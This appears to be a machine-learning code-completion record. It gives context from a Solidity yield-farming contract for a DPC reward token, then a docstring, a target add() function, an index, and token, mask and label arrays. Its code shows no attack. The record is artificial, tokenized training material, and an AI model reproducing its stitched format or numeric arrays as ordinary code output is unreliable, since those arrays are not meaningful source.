Deposit(msg.sender, _pid, _amount); } // Withdraw LP tokens from Farming pool. function withdraw(uint256 _pid, uint256 _amount) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; require(user.amount >= _amount, "withdraw: not good"); updatePool(_pid); uint256 pending = pendingDPC(_pid,msg.sender); if(pending > 0) { safeDPCTransfer(msg.sender, pending); } if(_amount > 0) { user.amount = user.amount.sub(_amount); pool.lpToken.safeTransfer(address(msg.sender), _amount); user.paidPerShare = pool.accDPCPerShare; } user.rewardDebt = user.amount.mul(pool.accDPCPerShare).div(1e18); emit Withdraw(msg.sender, _pid, _amount); } // Harvest DPC from the pool function harvest(uint _pid) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; uint256 pending = pendingDPC(_pid,msg.sender); require(pending > 0, "harvest: no DPC to harvest"); updatePool(_pid); safeDPCTransfer(msg.sender, pending); user.paidPerShare = pool.accDPCPerShare; user.rewardDebt = user.rewardDebt.add(pending); emit Harvest(msg.sender, _pid, pending); } // Withdraw without caring about rewards. EMERGENCY ONLY. function emergencyWithdraw(uint256 _pid) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; pool.lpToken.safeTransfer(address(msg.sender), user.amount); emit EmergencyWithdraw(msg.sender, _pid, user.amount); user.amount = 0; user.rewardDebt = 0; } // Safe DPC transfer function, just in case if rounding error causes pool to not have enough DPCs. function safeDPCTransfer(address _to, uint256 _amount) internal { uint256 DPCBal = DPC.balanceOf(address(this)); if (_amount > DPCBal) { DPC.transfer(_to, DPCBal); } else { DPC.transfer(_to, _amount); } } // Update Airdrop address. function setAirdropAddress(address _address) public onlyOwner { airdropAddress = _address; } // Update Team address. function setTeamAddress(address _address) public onlyOwner { teamAddress = _address; } // Update Seed address. function setSeedAddress(address _address) public onlyOwner { seedAddress = _address; } // Update DNode address. function setDNodeAddress(address _address) public onlyOwner { dNodeAddress = _address; } // Transfer ownership of DPC token contract function transferDPCOwnership(address _owner) public onlyOwner { DPC.transferOwnership(_owner); } // Fetch DPC amount via uniswap LP token function getDPCAmount(uint256 _pid, uint256 _amount) public view returns (uint256){ PoolInfo storage pool = poolInfo[_pid]; IERC20 lpToken = pool.lpToken; uint256 lpDPCBalance = DPC.balanceOf(address(lpToken)); uint256 lpTotalSupply = lpToken.totalSupply(); if(_amount >= lpTotalSupply){ return lpDPCBalance; } return _amount.mul(lpDPCBalance).div(lpTotalSupply); } //get LP token function getLPToken(uint256 _pid) public view returns(address){ return address(poolInfo[_pid].lpToken); } //get LP token balance function getLPBlance(uint256 _pid, address _address) public view returns(uint256){ return userInfo[_pid][_address].amount; } }
Add a new lp to the pool. Can only be called by the owner.
function add(uint256 _allocPoint, IERC20 _lpToken, bool _withUpdate) public onlyOwner { if (_withUpdate) { massUpdatePools(); } uint256 lastRewardBlock = block.number > startBlock ? block.number : startBlock; totalAllocPoint = totalAllocPoint.add(_allocPoint); poolInfo.push(PoolInfo({ lpToken: _lpToken, allocPoint: _allocPoint, lastRewardBlock: lastRewardBlock, accDPCPerShare: 0 })); }
1,624,752
[ 1, 986, 279, 394, 12423, 358, 326, 2845, 18, 4480, 1338, 506, 2566, 635, 326, 3410, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 527, 12, 11890, 5034, 389, 9853, 2148, 16, 467, 654, 39, 3462, 389, 9953, 1345, 16, 1426, 389, 1918, 1891, 13, 1071, 1338, 5541, 288, 203, 3639, 309, 261, 67, 1918, 1891, 13, 288, 203, 5411, 8039, 1891, 16639, 5621, 203, 3639, 289, 203, 3639, 2254, 5034, 1142, 17631, 1060, 1768, 273, 1203, 18, 2696, 405, 787, 1768, 692, 1203, 18, 2696, 294, 787, 1768, 31, 203, 3639, 2078, 8763, 2148, 273, 2078, 8763, 2148, 18, 1289, 24899, 9853, 2148, 1769, 203, 3639, 2845, 966, 18, 6206, 12, 2864, 966, 12590, 203, 5411, 12423, 1345, 30, 389, 9953, 1345, 16, 203, 5411, 4767, 2148, 30, 389, 9853, 2148, 16, 203, 5411, 1142, 17631, 1060, 1768, 30, 1142, 17631, 1060, 1768, 16, 203, 5411, 4078, 40, 3513, 2173, 9535, 30, 374, 203, 3639, 289, 10019, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]